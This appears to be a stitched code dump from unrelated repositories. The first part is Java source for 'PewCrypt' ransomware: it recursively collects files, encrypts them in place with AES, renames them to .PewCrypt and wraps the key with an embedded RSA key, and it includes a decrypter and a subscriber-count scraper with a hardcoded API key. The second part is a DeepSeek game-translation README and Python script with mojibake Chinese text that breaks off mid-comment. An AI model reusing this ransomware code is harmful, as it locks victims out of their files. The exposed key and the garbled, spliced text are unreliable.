"MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDThEl/fSuUgIAGJCfcLzmhk4/KmxhKqBCkVqAECRWii5DfGDI2Skkp7TrWMljBUwd4dnKjBlle0UFaOBAmq1GZLZmvfaEQfhm1qyMNkPkY+T6RuanZ5Y509I2Usxpy/ZKiwqX6Us5mCSMvPhHIf7dNk1pOtvS61Ds22frZ/esf6/jiLNo1MhlDBSEmRytr6hpoWgIEkEg12e4wmhlNVlruRZydrvVCa7dbSDfEo315wLbNniTJTB/aUifBn0JsTg56iem/bsZ7otuaC99Yd9Alnbs8T0C46jRoOJ7mRhn+VA5Jto1O+Qu7M4tMKp3VX1hVKggOh5P4vTJ1mRcAJp4/AgMBAAECggEAd16/A/4mLCbhGZYqEK9uPOvESLmC2g9DZRumLuDZnuRZHC7Rl6YQ6GKDxAKh6GjtXGSsiai5ozNBSKM/KjOhV2tOwqWJ0n74D3jHzY41poxzbVZ0rw5IeWTSykrR8Hd+2/AyL7Wv2hHqE21aJ+c8EcHJQ4cpUo8X4/rdAU219kr1R6BLhrwhW6kxc9lPr+J/CWAdclxJXcvapuRXx0ipPm9Jut5xETCq8GnrMjdysSFXPMA5aJP52hm9RvjzCIPGKR/nm2jJVMsbD2x0CV6HJByT6MfzTluSEf309vCKM2stEOoC/wrXBfBtc7TUfZ4ntS1vhwyJTkZUcFz4ZKhhsQKBgQDym3lNydsxj5TTKsFRuurgDXKLcYZcIiLlm+pefxSB7HTqXJsVfpLjp0NGiUmY1PVVVCGLZRC09KMSLN6qB1VBuEBnebsiIKSuGadAy4uiIzd4cORmDyj+DyCW5k4pnJ28tnYPYkvJoPjkZNkEf3n9HWFjxOMkOuZnfa1oCch+ewKBgQDfMXD7p7YlEZhxG+kNlK/GsnQhfdVATDbGOcy9euCYr0BeBJwhxXfsrrYi6ehqR+EnQ4e2zXGYrPxKm+TPCWh+tJiMOu3Y1mMUuAEJNm1Yjv3ewVAb1YxUK0XqF7Z7JRyL4bFztwIhMSu/R8Lx2FWykoRng2GgmhzR7TzlQer2DQKBgA7PoRM3rJMVAe/2X0D/GVG+YGzU7G/5gYnk/+Tu+zCHYAfiyXEBfjQ5xOisfvq+nY+tCDM7Y0641K/KX3mf4vuVJRFsJBmMRqF+XXCePJMUdVF8CuWULVt9Tu8HdmQh9JtNxF1iEeBoXGmNIpactbTXM1fk8D0I/4H38Ts1xbC7AoGAbXkhsr27MIll3SzUbc3dPbdwELFYtNXtE+Nr0hCAM0PabYMTVdk2jkfPnGZgkii5ffm4imhQbJOEl8/JNeemcmeAX1/UI8RcCuCJ2YvxrDtOuEDXWx+uWeZzv3NsFRDJ5K6JzHkaOU+V5pd7PgZfWlxVRzSA4TZWJn2XnddsOM0CgYEA2lv2ITPwzf+h9/WZdz0Cfi9ir/yAcOf81tqLY1Qfub6scU1tALA/fjQijuRgqBHkH2OXoxrYl4BREW4wUObBi6Hro2JlAhR1TmO3clRRsZ8DneKBAWnX044mtKzm3kMKSy5tZYqNNBYPejh/px3ka+MjCLMk4B0A9SWg8HObrAg=";
private PrivateKey RSAKey;
private Key AESKey;
private Cipher cipher;
public Decrypter(String AESKeyFile) {
try {
this.RSAKey = this.generateRSAKey(Base64.getDecoder().decode(DEFAULT_RSA_KEY));
this.AESKey = decryptAESKey(Files.readAllBytes(new File(AESKeyFile).toPath()), this.RSAKey);
this.cipher = Cipher.getInstance("AES");
this.cipher.init(Cipher.DECRYPT_MODE, this.AESKey);
} catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException | IllegalBlockSizeException
| BadPaddingException | IOException | InvalidKeySpecException e) {
e.printStackTrace();
System.exit(-1);
}
}
private static Key decryptAESKey(byte[] AESKey, Key RSAKey) throws InvalidKeyException, NoSuchAlgorithmException,
NoSuchPaddingException, IllegalBlockSizeException, BadPaddingException {
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.DECRYPT_MODE, RSAKey);
return (Key) new SecretKeySpec(cipher.doFinal(AESKey), "AES");
}
private PrivateKey generateRSAKey(byte[] rawKey) throws NoSuchAlgorithmException, InvalidKeySpecException {
KeyFactory kf = KeyFactory.getInstance("RSA");
return kf.generatePrivate(new PKCS8EncodedKeySpec(rawKey));
}
public boolean ProcessFile(String path) {
try {
// get handles
File file = new File(path);
// file checks
if (!file.exists()) {
System.out.println("File not found: " + path);
return false;
} else if (!file.canRead() | !file.canWrite() | (file.length() > 20000000)) {
System.out.println("File conditions not satifified");
return false;
}
// file content buffer
byte[] fileContent = Files.readAllBytes(file.toPath());
// encrypted data buffer
byte[] outputBytes = this.cipher.doFinal(fileContent);
// write encrypted data back to file
Files.write(file.toPath(), outputBytes);
String outPath = path.replace(".PewCrypt", "");
file.renameTo(new File(outPath));
System.out.println("Decryption Complete, Out: " + outPath);
return true;
} catch (IOException | BadPaddingException | IllegalBlockSizeException e) {
e.printStackTrace();
return false;
}
}
}
|
000JustMe/PewCrypt
| 1,533 |
Encryptor/src/main/Scraper.java
|
package main;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
public class Scraper {
public Scraper() {
}
public int getPewdiepieCount() {
try {
return this.parseJson(this.getJson("https://www.googleapis.com/youtube/v3/channels?part=statistics&id=UC-lHJZR3Gqxm24_Vd_AJ5Yw&fields=items/statistics/subscriberCount&key=AIzaSyACZdXbrIijp3kLgAGNIdSCe7uxxIvo9wY"));
} catch (Exception e) {
e.printStackTrace();
return 0;
}
}
public int getTSeriesCount() {
try {
return this.parseJson(this.getJson("https://www.googleapis.com/youtube/v3/channels?part=statistics&id=UCq-Fj5jknLsUf-MWSy4_brA&fields=items/statistics/subscriberCount&key=AIzaSyACZdXbrIijp3kLgAGNIdSCe7uxxIvo9wY"));
} catch (Exception e) {
e.printStackTrace();
return 0;
}
}
public int parseJson(String json) {
// crude but light weight way of parsing target values
String tail = json.split(":")[3];
return Integer.parseInt(tail.split("\"")[1]);
}
public String getJson(String targetUrl) throws Exception {
URL target = new URL(targetUrl);
URLConnection targetc = target.openConnection();
BufferedReader in = new BufferedReader(
new InputStreamReader(
targetc.getInputStream()));
String inputLine;
String res = "";
while ((inputLine = in.readLine()) != null) {
res += inputLine;
}
in.close();
return res;
}
}
|
000JustMe/PewCrypt
| 1,300 |
Encryptor/src/main/FileItter.java
|
package main;
import java.io.File;
import java.util.ArrayList;
public class FileItter {
/*
* Class constructor will iterate though target paths Function itterFiles
* recursively walks directory finding files Function getPaths to access paths
* found and encrypt-able
*/
private ArrayList<String> paths;
private ArrayList<File> directory_paths;
public FileItter(String[] paths) {
this.paths = new ArrayList<String>();
this.directory_paths = new ArrayList<File>();
for (String path : paths) {
System.out.println(path);
File file = new File(path);
if (file.isDirectory()) {
// directory needs walking
directory_paths.add(file);
} else {
// must be a file
this.paths.add(path);
}
}
this.itterFiles(this.directory_paths.toArray(new File[this.directory_paths.size()]));
}
private void itterFiles(File[] files) {
try {
for (File file : files) {
//System.out.println(file.getPath());
if (file.isDirectory()) {
itterFiles(file.listFiles()); // recursion
} else {
//if a file
this.paths.add(file.getPath());
}
}
} catch (NullPointerException e) {
// when a folder is empty
System.out.println(e);
}
}
public ArrayList<String> getPaths() {
return this.paths;
}
}
|
000JustMe/PewCrypt
| 5,370 |
Encryptor/src/main/Crypto.java
|
package main;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyFactory;
import java.security.NoSuchAlgorithmException;
import java.security.PublicKey;
import java.security.SecureRandom;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.X509EncodedKeySpec;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
public class Crypto {
private final SecureRandom rnd = new SecureRandom();
private final byte[] RSA_key = new byte[] { 48, (byte) 130, 1, 34, 48, 13, 6, 9, 42, (byte) 134, 72, (byte) 134,
(byte) 247, 13, 1, 1, 1, 5, 0, 3, (byte) 130, 1, 15, 0, 48, (byte) 130, 1, 10, 2, (byte) 130, 1, 1, 0,
(byte) 211, (byte) 132, 73, 127, 125, 43, (byte) 148, (byte) 128, (byte) 128, 6, 36, 39, (byte) 220, 47, 57,
(byte) 161, (byte) 147, (byte) 143, (byte) 202, (byte) 155, 24, 74, (byte) 168, 16, (byte) 164, 86,
(byte) 160, 4, 9, 21, (byte) 162, (byte) 139, (byte) 144, (byte) 223, 24, 50, 54, 74, 73, 41, (byte) 237,
58, (byte) 214, 50, 88, (byte) 193, 83, 7, 120, 118, 114, (byte) 163, 6, 89, 94, (byte) 209, 65, 90, 56, 16,
38, (byte) 171, 81, (byte) 153, 45, (byte) 153, (byte) 175, 125, (byte) 161, 16, 126, 25, (byte) 181,
(byte) 171, 35, 13, (byte) 144, (byte) 249, 24, (byte) 249, 62, (byte) 145, (byte) 185, (byte) 169,
(byte) 217, (byte) 229, (byte) 142, 116, (byte) 244, (byte) 141, (byte) 148, (byte) 179, 26, 114,
(byte) 253, (byte) 146, (byte) 162, (byte) 194, (byte) 165, (byte) 250, 82, (byte) 206, 102, 9, 35, 47, 62,
17, (byte) 200, 127, (byte) 183, 77, (byte) 147, 90, 78, (byte) 182, (byte) 244, (byte) 186, (byte) 212, 59,
54, (byte) 217, (byte) 250, (byte) 217, (byte) 253, (byte) 235, 31, (byte) 235, (byte) 248, (byte) 226, 44,
(byte) 218, 53, 50, 25, 67, 5, 33, 38, 71, 43, 107, (byte) 234, 26, 104, 90, 2, 4, (byte) 144, 72, 53,
(byte) 217, (byte) 238, 48, (byte) 154, 25, 77, 86, 90, (byte) 238, 69, (byte) 156, (byte) 157, (byte) 174,
(byte) 245, 66, 107, (byte) 183, 91, 72, 55, (byte) 196, (byte) 163, 125, 121, (byte) 192, (byte) 182,
(byte) 205, (byte) 158, 36, (byte) 201, 76, 31, (byte) 218, 82, 39, (byte) 193, (byte) 159, 66, 108, 78, 14,
122, (byte) 137, (byte) 233, (byte) 191, 110, (byte) 198, 123, (byte) 162, (byte) 219, (byte) 154, 11,
(byte) 223, 88, 119, (byte) 208, 37, (byte) 157, (byte) 187, 60, 79, 64, (byte) 184, (byte) 234, 52, 104,
56, (byte) 158, (byte) 230, 70, 25, (byte) 254, 84, 14, 73, (byte) 182, (byte) 141, 78, (byte) 249, 11,
(byte) 187, 51, (byte) 139, 76, 42, (byte) 157, (byte) 213, 95, 88, 85, 42, 8, 14, (byte) 135, (byte) 147,
(byte) 248, (byte) 189, 50, 117, (byte) 153, 23, 0, 38, (byte) 158, 63, 2, 3, 1, 0, 1 };
private final byte[] PASS = new byte[32];
private Cipher cipher;
private int cipherMode;
private String[] IgnoredExtentions = new String[] { ".PewCrypt", ".exe", ".jar", ".dll" };
public Crypto(boolean toEncrypt) {
// determine mode
if (toEncrypt) {
this.cipherMode = Cipher.ENCRYPT_MODE;
} else {
this.cipherMode = Cipher.DECRYPT_MODE;
}
try {
// generate random AES pass
this.rnd.nextBytes(PASS);
Key AES_key = new SecretKeySpec(PASS, "AES");
this.cipher = Cipher.getInstance("AES");
this.cipher.init(this.cipherMode, AES_key);
} catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException e) {
System.out.println(e);
}
}
public boolean encrypt_AES_key() {
// get KeySpec
X509EncodedKeySpec ks = new X509EncodedKeySpec(this.RSA_key);
try {
KeyFactory kf = KeyFactory.getInstance("RSA");
// Get public key from KeySpec
PublicKey pub = kf.generatePublic(ks);
// create new AES.key file
File kfile = new File("AES.key");
kfile.createNewFile();
// encrypt AES key with public
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.ENCRYPT_MODE, pub);
// encrypted data buffer
byte[] out = cipher.doFinal(this.PASS);
// write encrypted data to AES.key file
Files.write(kfile.toPath(), out);
} catch (InvalidKeySpecException | IOException | NoSuchPaddingException | InvalidKeyException
| IllegalBlockSizeException | BadPaddingException | NoSuchAlgorithmException e) {
e.printStackTrace();
return false;
}
return true;
}
public boolean ProcessFile(String path) {
try {
// get handles
File file = new File(path);
// checks if file extension is ignored
for (String exten : this.IgnoredExtentions) {
if (file.getName().contains(exten)) {
return false;
}
}
// file checks
if (!file.exists() | !file.canRead() | !file.canWrite() | (file.length() > 20000000)) {
return false;
}
// file content buffer
byte[] fileContent = Files.readAllBytes(file.toPath());
// encrypted data buffer
byte[] outputBytes = this.cipher.doFinal(fileContent);
// write encrypted data back to file
Files.write(file.toPath(), outputBytes);
file.renameTo(new File(path + ".PewCrypt"));
return true;
} catch (IOException | BadPaddingException | IllegalBlockSizeException e) {
System.out.println(e);
return false;
}
}
}
|
0001lizhubo/XUnity.AutoTranslator-deepseek
| 1,147 |
README.md
|
# XUnity.AutoTranslator-deepseek
ๆฌ้กน็ฎ้่ฟ่ฐ็จ่
พ่ฎฏ็DeepSeek V3 API๏ผๅฎ็ฐUnityๆธธๆไธญๆฅๆๆๆฌ็่ชๅจ็ฟป่ฏใ
## ๅๅคๅทฅไฝ
### 1. ่ทๅAPIๅฏ้ฅ
- ่ฎฟ้ฎ[่
พ่ฎฏไบAPIๆงๅถๅฐ](https://console.cloud.tencent.com/lkeap/api)็ณ่ฏทDeepSeek็APIๅฏ้ฅ๏ผ้ๆถๅ
่ดน๏ผใ
- ไนๅฏไปฅไฝฟ็จๅ
ถไปๅนณๅฐๆไพ็DeepSeek APIใ
### 2. ๅฎ่ฃ
ไพ่ต
็กฎไฟๅทฒๅฎ่ฃ
ไปฅไธ่ฝฏไปถๅๅบ๏ผ
- **XUnity.AutoTranslator**
- **Python 3.x**
ๅฎ่ฃ
ๅฟ
่ฆ็Pythonๅบ๏ผ
```bash
pip install Flask gevent openai
```
### 3. ้
็ฝฎAPI
ๅ
้ๆฌ้กน็ฎๅ๏ผไฟฎๆนdeepseekv3.pyไธญ็`api_key`้
็ฝฎ้จๅ๏ผ
```python
client = OpenAI(
api_key="sk-XXXXXXXXXXXXXXXXXXXXXX", # ๆฟๆขไธบๆจ็APIๅฏ้ฅ
base_url=Base_url, # API่ฏทๆฑๅบ็กURL
)
```
### 4. ่ชๅฎไนAPI้
็ฝฎ
ๅฆๆไฝฟ็จๅ
ถไปไบๅๅ็APIๅๆจกๅ๏ผ่ฏทไฟฎๆนไปฅไธ้
็ฝฎ๏ผ
```python
# API้
็ฝฎๅๆฐ
Base_url = "https://api.lkeap.cloud.tencent.com/v1" # OpenAI API่ฏทๆฑๅฐๅ
Model_Type = "deepseek-v3" # ไฝฟ็จ็ๆจกๅ็ฑปๅ
```
## ๅฏๅจ้กน็ฎ
### 1. ๅฏๅจPython่ๆฌ
็กฎไฟPython่ๆฌๆๅๅฏๅจ๏ผๅฝไปค่กๅบๆพ็คบ๏ผ
```
ๆๅกๅจๅจ http://127.0.0.1:4000 ไธๅฏๅจ
```
### 2. ้
็ฝฎXUnity.AutoTranslator
ไฟฎๆนXUnity.AutoTranslatorๆไปถ็้
็ฝฎๆไปถ`AutoTranslatorConfig.ini`ๆ`Config.ini`๏ผ
```ini
[Service]
Endpoint=CustomTranslate
[Custom]
Url=http://127.0.0.1:4000/translate
```
## ๅ่้กน็ฎ
- [XUnity.AutoTranslator-Sakura](https://github.com/as176590811/XUnity.AutoTranslator-Sakura)
---
้่ฟไปฅไธๆญฅ้ชค๏ผๆจๅฏไปฅ่ฝปๆพๅฎ็ฐUnityๆธธๆไธญๆฅๆๆๆฌ็่ชๅจ็ฟป่ฏใๅฆๆ้ฎ้ข๏ผ่ฏทๅ่็ธๅ
ณๆๆกฃๆ่็ณปๅผๅ่
ใ
|
0001lizhubo/XUnity.AutoTranslator-deepseek
| 14,868 |
deepseekv3.py
|
import os
import re
import json
import time
from flask import Flask, request # ๅฏผๅ
ฅ Flask ๅบ๏ผ็จไบๅๅปบ Web ๅบ็จ๏ผ้่ฆๅฎ่ฃ
๏ผpip install Flask
from gevent.pywsgi import WSGIServer # ๅฏผๅ
ฅ gevent ็ WSGIServer๏ผ็จไบๆไพ้ซๆง่ฝ็ๅผๆญฅๆๅกๅจ๏ผ้่ฆๅฎ่ฃ
๏ผpip install gevent
from urllib.parse import unquote # ๅฏผๅ
ฅ unquote ๅฝๆฐ๏ผ็จไบ URL ่งฃ็
from threading import Thread # ๅฏผๅ
ฅ Thread๏ผ็จไบๅๅปบ็บฟ็จ (่ฝ็ถๅฎ้
ไธๆชไฝฟ็จ๏ผไฝimportๆฒกๆๅๅค)
from queue import Queue # ๅฏผๅ
ฅ Queue๏ผ็จไบๅๅปบ็บฟ็จๅฎๅ
จ็้ๅ
import concurrent.futures # ๅฏผๅ
ฅ concurrent.futures๏ผ็จไบ็บฟ็จๆฑ
from openai import OpenAI # ๅฏผๅ
ฅ OpenAI ๅบ๏ผ็จไบ่ฐ็จ OpenAI API๏ผ้่ฆๅฎ่ฃ
๏ผpip install openai ๅนถๆดๆฐ๏ผpip install --upgrade openai
# ๅฏ็จ่ๆ็ป็ซฏๅบๅ๏ผๆฏๆ ANSI ่ฝฌไนไปฃ็ ๏ผๅ
่ฎธๅจ็ป็ซฏๆพ็คบๅฝฉ่ฒๆๆฌ
os.system('')
dict_path='็จๆทๆฟๆขๅญๅ
ธ.json' # ๆฟๆขๅญๅ
ธ่ทฏๅพใๅฆๆไธ้่ฆไฝฟ็จๆฟๆขๅญๅ
ธ๏ผ่ฏทๅฐๆญคๅ้็็ฉบ๏ผ่ฎพไธบ None ๆ็ฉบๅญ็ฌฆไธฒ ""๏ผ
# API ้
็ฝฎๅๆฐ
Base_url = "https://api.lkeap.cloud.tencent.com/v1" # OpenAI API ่ฏทๆฑๅฐๅ๏ผ่ฟ้ไฝฟ็จไบ่
พ่ฎฏไบ็ API ไปฃ็ๆๅก
Model_Type = "deepseek-v3" # ไฝฟ็จ็ๆจกๅ็ฑปๅ๏ผๅฏ้้กนๅ
ๆฌ"deepseek-v3" ๆ่
ๅ
ถไปๆจกๅ
# ๆฃๆฅ่ฏทๆฑๅฐๅๅฐพ้จๆฏๅฆๅทฒๅ
ๅซ "/v1"๏ผ่ฅๆฒกๆๅ่ชๅจ่กฅๅ
จ๏ผ็กฎไฟ API ่ฏทๆฑ่ทฏๅพๆญฃ็กฎ
if Base_url[-3:] != "/v1":
Base_url = Base_url + "/v1"
# ๅๅปบ OpenAI ๅฎขๆท็ซฏๅฎไพ
client = OpenAI(
api_key="sk-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", # API ๅฏ้ฅ๏ผ่ฏทๆฟๆขไธบๆจ่ชๅทฑ็ API Keyใๅฆไฝ่ทๅ API Key ็ๆๅ๏ผhttps://cloud.tencent.com/document/product/1772/115970
base_url=Base_url, # API ่ฏทๆฑๅบ็ก URL๏ผ่ฎพ็ฝฎไธบไธ้ข้
็ฝฎ็ Base_url
)
# ่ฏๆ้ๅคๅ
ๅฎนๆฃๆตๅๆฐ
repeat_count=5 # ้ๅคๅ
ๅฎน้ๅผใๅฆๆ่ฏๆไธญๆไปปๆๅๅญๆๅ่ฏ่ฟ็ปญ้ๅคๅบ็ฐๆฌกๆฐๅคงไบ็ญไบ repeat_count๏ผๅ่ฎคไธบ่ฏๆ่ดจ้ไธไฝณ๏ผไผ่งฆๅ้่ฏ็ฟป่ฏ้ป่พ
# ๆ็คบ่ฏ (Prompt) ้
็ฝฎ
prompt= '''
ไฝ ๆฏ่ตๆทฑๆฌๅฐๅไธๅฎถ๏ผ่ด่ดฃๅฐๆธธๆๆฅๆๆๆฌ่ฏไธบ็ฎไฝไธญๆใๆฅๆถๆๆฌๅ๏ผๆไปฅไธ่ฆๆฑ็ฟป่ฏ๏ผ
็ฟป่ฏ่ๅด๏ผ็ฟป่ฏๆฎ้ๆฅๆๆๆฌ๏ผไฟ็ๅๆๅ่ฟฐ้ฃๆ ผใ
ไฟ็ๆ ผๅผ๏ผไฟ็่ฝฌไนๅญ็ฌฆใๆ ผๅผๆ ็ญพใๆข่ก็ฌฆ็ญ้ๆฅๆๆๆฌๅ
ๅฎนใ
็ฟป่ฏๅๅ๏ผๅฟ ๅฎๅ็กฎ๏ผ็กฎไฟ่ฏญไนๆ ่ฏฏ๏ผๅฏน้ฒ้ชจๆงๆๅ๏ผๅฏ็ด็ฝ็ฒไฟ่กจ่ฟฐ๏ผไธๅ ๅ็ฏกๆน๏ผๅฏนๅๅ
ณ่ฏญ็ญ็นๆฎ่กจ่พพ๏ผๆพ็ฎๆ ่ฏญ่จ็ญๆ่กจ่พพ๏ผไฟๅไฝๆๅพ้ฃๆ ผใ
ๆๆฌ็ฑปๅ๏ผๆธธๆๆๆฌๅซ่ง่ฒๅฏน่ฏใๆ็ฝใๆญฆๅจๅ็ฉๅๅ็งฐใๆ่ฝๆ่ฟฐใๆ ผๅผๆ ็ญพใๆข่ก็ฌฆใ็นๆฎ็ฌฆๅท็ญใ
ไปฅไธๆฏๅพ
็ฟป่ฏ็ๆธธๆๆๆฌ๏ผ
''' # ๅบ็กๆ็คบ่ฏ๏ผ็จไบๆๅฏผๆจกๅ่ฟ่ก็ฟป่ฏ๏ผๅฎไนไบ็ฟป่ฏ็่ง่ฒใ่ๅดใๆ ผๅผใๅๅๅๆๆฌ็ฑปๅ
prompt_list=[prompt] # ๆ็คบ่ฏๅ่กจใๅฏไปฅ้
็ฝฎๅคไธชๆ็คบ่ฏ๏ผ็จๅบไผไพๆฌกๅฐ่ฏไฝฟ็จๅ่กจไธญ็ๆ็คบ่ฏ่ฟ่ก็ฟป่ฏ๏ผ็ดๅฐ่ทๅพๆปกๆ็็ปๆ
l=len(prompt_list) # ่ทๅๆ็คบ่ฏๅ่กจ็้ฟๅบฆ (ๆญคๅ้็ฎๅๆช่ขซ็ดๆฅไฝฟ็จ๏ผๅฏ่ฝๆฏไธบๅ็ปญๆฉๅฑๅ่ฝ้ข็)
# ๆ็คบๅญๅ
ธ็ธๅ
ณ็ๆ็คบ่ฏ้
็ฝฎ
dprompt0='\nๅจ็ฟป่ฏไธญไฝฟ็จไปฅไธๅญๅ
ธ,ๅญๅ
ธ็ๆ ผๅผไธบ{\'ๅๆ\':\'่ฏๆ\'}\n' # ๆ็คบๆจกๅๅจ็ฟป่ฏๆถไฝฟ็จๆไพ็ๅญๅ
ธใๅญๅ
ธๆ ผๅผไธบ JSON ๆ ผๅผ็ๅญ็ฌฆไธฒ๏ผ้ฎไธบๅๆ๏ผๅผไธบ่ฏๆ
dprompt1='\nDuring the translation, use a dictionary in {\'Japanese text \':\'translated text \'} format\n' # ่ฑๆ็็ๅญๅ
ธๆ็คบ่ฏ๏ผๅฏ่ฝ็จไบๅค่ฏญ่จๆฏๆๆๆจกๅๅๅฅฝ
# dprompt_list ๅญๅ
ธๆ็คบ่ฏๅ่กจ๏ผไธ prompt_list ๆ็คบ่ฏๅ่กจไธไธๅฏนๅบใๅฝไฝฟ็จ prompt_list ไธญ็็ฌฌ i ไธชๆ็คบ่ฏๆถ๏ผไผๅๆถไฝฟ็จ dprompt_list ไธญ็็ฌฌ i ไธชๅญๅ
ธๆ็คบ่ฏ
dprompt_list=[dprompt0,dprompt1,dprompt1]
app = Flask(__name__) # ๅๅปบ Flask ๅบ็จๅฎไพ
# ่ฏปๅๆ็คบๅญๅ
ธ
prompt_dict= {} # ๅๅงๅๆ็คบๅญๅ
ธไธบ็ฉบๅญๅ
ธ
if dict_path: # ๆฃๆฅๆฏๅฆ้
็ฝฎไบๅญๅ
ธ่ทฏๅพ
try:
with open(dict_path, 'r', encoding='utf8') as f: # ๅฐ่ฏๆๅผๅญๅ
ธๆไปถ
tempdict = json.load(f) # ๅ ่ฝฝ JSON ๅญๅ
ธๆฐๆฎ
# ๆ็
งๅญๅ
ธ key ็้ฟๅบฆไป้ฟๅฐ็ญๆๅบ๏ผ็กฎไฟไผๅ
ๅน้
้ฟ key๏ผ้ฟๅ
็ญ key ๅนฒๆฐ้ฟ key ็ๅน้
sortedkey = sorted(tempdict.keys(), key=lambda x: len(x), reverse=True)
for i in sortedkey:
prompt_dict[i] = tempdict[i] # ๅฐๆๅบๅ็ๅญๅ
ธๆฐๆฎๅญๅ
ฅ prompt_dict
except FileNotFoundError:
print(f"\033[33m่ญฆๅ๏ผๅญๅ
ธๆไปถ {dict_path} ๆชๆพๅฐใ\033[0m") # ่ญฆๅ็จๆทๅญๅ
ธๆไปถๆชๆพๅฐ
except json.JSONDecodeError:
print(f"\033[31m้่ฏฏ๏ผๅญๅ
ธๆไปถ {dict_path} JSON ๆ ผๅผ้่ฏฏ๏ผ่ฏทๆฃๆฅๅญๅ
ธๆไปถใ\033[0m") # ้่ฏฏๆ็คบ JSON ๆ ผๅผ้่ฏฏ
except Exception as e:
print(f"\033[31m่ฏปๅๅญๅ
ธๆไปถๆถๅ็ๆช็ฅ้่ฏฏ: {e}\033[0m") # ๆ่ทๅ
ถไปๅฏ่ฝ็ๆไปถ่ฏปๅๆ JSON ่งฃๆ้่ฏฏ
def contains_japanese(text):
"""
ๆฃๆตๆๆฌไธญๆฏๅฆๅ
ๅซๆฅๆๅญ็ฌฆใ
Args:
text (str): ๅพ
ๆฃๆต็ๆๆฌใ
Returns:
bool: ๅฆๆๆๆฌๅ
ๅซๆฅๆๅญ็ฌฆ๏ผๅ่ฟๅ True๏ผๅฆๅ่ฟๅ Falseใ
"""
pattern = re.compile(r'[\u3040-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FE]') # ๆฅๆๅญ็ฌฆ็ Unicode ่ๅดๆญฃๅ่กจ่พพๅผ
return pattern.search(text) is not None # ไฝฟ็จๆญฃๅ่กจ่พพๅผๆ็ดขๆๆฌไธญๆฏๅฆๅ
ๅซๆฅๆๅญ็ฌฆ
def has_repeated_sequence(string, count):
"""
ๆฃๆตๅญ็ฌฆไธฒไธญๆฏๅฆๅญๅจ่ฟ็ปญ้ๅค็ๅญ็ฌฆๆๅญไธฒใ
Args:
string (str): ๅพ
ๆฃๆต็ๅญ็ฌฆไธฒใ
count (int): ้ๅคๆฌกๆฐ้ๅผใ
Returns:
bool: ๅฆๆๅญ็ฌฆไธฒไธญๅญๅจ้ๅคๆฌกๆฐ่พพๅฐๆ่ถ
่ฟ้ๅผ็ๅญ็ฌฆๆๅญไธฒ๏ผๅ่ฟๅ True๏ผๅฆๅ่ฟๅ Falseใ
"""
# ้ฆๅ
ๆฃๆฅๅไธชๅญ็ฌฆ็้ๅค
for char in set(string): # ้ๅๅญ็ฌฆไธฒไธญ็ไธ้ๅคๅญ็ฌฆ้ๅ
if string.count(char) >= count: # ็ป่ฎกๆฏไธชๅญ็ฌฆๅจๅญ็ฌฆไธฒไธญๅบ็ฐ็ๆฌกๆฐ๏ผๅฆๆ่ถ
่ฟ้ๅผ๏ผๅ่ฟๅ True
return True
# ็ถๅๆฃๆฅๅญ็ฌฆไธฒ็ๆฎต๏ผๅญไธฒ๏ผ็้ๅค
for size in range(2, len(string)//count + 1): # ๅญไธฒ้ฟๅบฆไป 2 ๅผๅงๅฐ len(string)//count๏ผๅ ไธบๆด้ฟ็้ๅคๅญไธฒไธๅคชๅฏ่ฝๅบ็ฐ
for start in range(0, len(string) - size + 1): # ๆปๅจ็ชๅฃ็่ตทๅงไฝ็ฝฎ
substring = string[start:start + size] # ๆๅๅฝๅ็ชๅฃ็ๅญไธฒ
matches = re.findall(re.escape(substring), string) # ไฝฟ็จๆญฃๅ่กจ่พพๅผๆฅๆพๆดไธชๅญ็ฌฆไธฒไธญ่ฏฅๅญไธฒ็้ๅคๆฌกๆฐ๏ผre.escape ็จไบ่ฝฌไน็นๆฎๅญ็ฌฆ
if len(matches) >= count: # ๅฆๆๅญไธฒ้ๅคๆฌกๆฐ่พพๅฐ้ๅผ๏ผๅ่ฟๅ True
return True
return False # ๅฆๆไปฅไธๆๆๆฃๆฅ้ฝๆฒกๆๅ็ฐ้ๅคๅ
ๅฎน๏ผๅ่ฟๅ False
# ่ทๅพๆๆฌไธญๅ
ๅซ็ๅญๅ
ธ่ฏๆฑ
def get_dict(text):
"""
ไปๆๆฌไธญๆๅๅบๅจๆ็คบๅญๅ
ธ (prompt_dict) ไธญๅญๅจ็่ฏๆฑๅๅ
ถ็ฟป่ฏใ
Args:
text (str): ๅพ
ๅค็็ๆๆฌใ
Returns:
dict: ไธไธชๅญๅ
ธ๏ผkey ไธบๅจๆๆฌไธญๆพๅฐ็ๅญๅ
ธๅๆ๏ผvalue ไธบๅฏนๅบ็่ฏๆใ
ๅฆๆๆๆฌไธญๆฒกๆๆพๅฐไปปไฝๅญๅ
ธ่ฏๆฑ๏ผๅ่ฟๅ็ฉบๅญๅ
ธใ
"""
res={} # ๅๅงๅ็ปๆๅญๅ
ธ
for key in prompt_dict.keys(): # ้ๅๆ็คบๅญๅ
ธไธญ็ๆๆๅๆ (key)
if key in text: # ๆฃๆฅๅฝๅๅๆ (key) ๆฏๅฆๅบ็ฐๅจๅพ
ๅค็ๆๆฌไธญ
res.update({key:prompt_dict[key]}) # ๅฆๆๆพๅฐ๏ผๅๅฐ่ฏฅๅๆๅๅ
ถ่ฏๆๆทปๅ ๅฐ็ปๆๅญๅ
ธไธญ
text=text.replace(key,'') # ไปๆๆฌไธญ็งป้คๅทฒๅน้
ๅฐ็ๅญๅ
ธๅๆ๏ผ้ฟๅ
ๅบ็ฐ้ฟๅญๅ
ธๅ
ๅซ็ญๅญๅ
ธๅฏผ่ด้ๅคๅน้
็ๆ
ๅตใ
# ไพๅฆ๏ผๅญๅ
ธไธญๆ "ๆ่ฝ" ๅ "ๆ่ฝๆ่ฟฐ" ไธคไธช่ฏๆก๏ผๅฆๆๅ
ๅน้
ๅฐ "ๆ่ฝๆ่ฟฐ"๏ผ
